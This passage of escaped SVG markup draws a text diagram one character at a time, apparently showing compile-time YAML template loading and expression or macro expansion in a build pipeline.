style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='468' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='692' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='756' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='772' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='468' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='612' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='692' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='756' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='772' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='468' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='612' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='692' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='756' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='772' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='468' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='612' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='692' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='756' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='772' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='340' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='468' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='596' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='612' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='692' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='756' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='772' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='340' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='404' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='548' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='596' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='612' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='676' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='692' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='772' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='388' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='404' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='548' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='596' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='612' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='676' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='756' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='340' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='388' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='404' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='548' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='596' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='676' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='692' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='756' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='772' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='164' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='244' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='388' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='404' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='548' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='596' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='676' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='692' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='756' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='772' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='340' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='548' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='612' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='692' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='756' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='772' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='340' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='404' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='548' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='596' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='612' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='692' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='756' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='772' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='404' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='596' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='612' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='676' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='692' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='756' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='340' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='388' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='676' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='692' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='756' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='772' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='388' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='404' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='548' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='596' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='692' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='756' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='772' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='164' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='404' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='548' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='596' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='612' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='676' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='692' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='756' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='772' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='340' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='388' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='404' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='548' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='596' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='612' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='676' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='692' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='756' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='772' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='340' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='388' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='404' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='548' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='596' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='612' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='692' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='756' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='772' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='340' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='404' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='548' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='596' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='676' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='756' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='772' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='388' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='404' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='596' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='612' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='676' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='692' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='756' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='772' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='340' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='404' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='596' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='612' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='676' fill='currentColor' 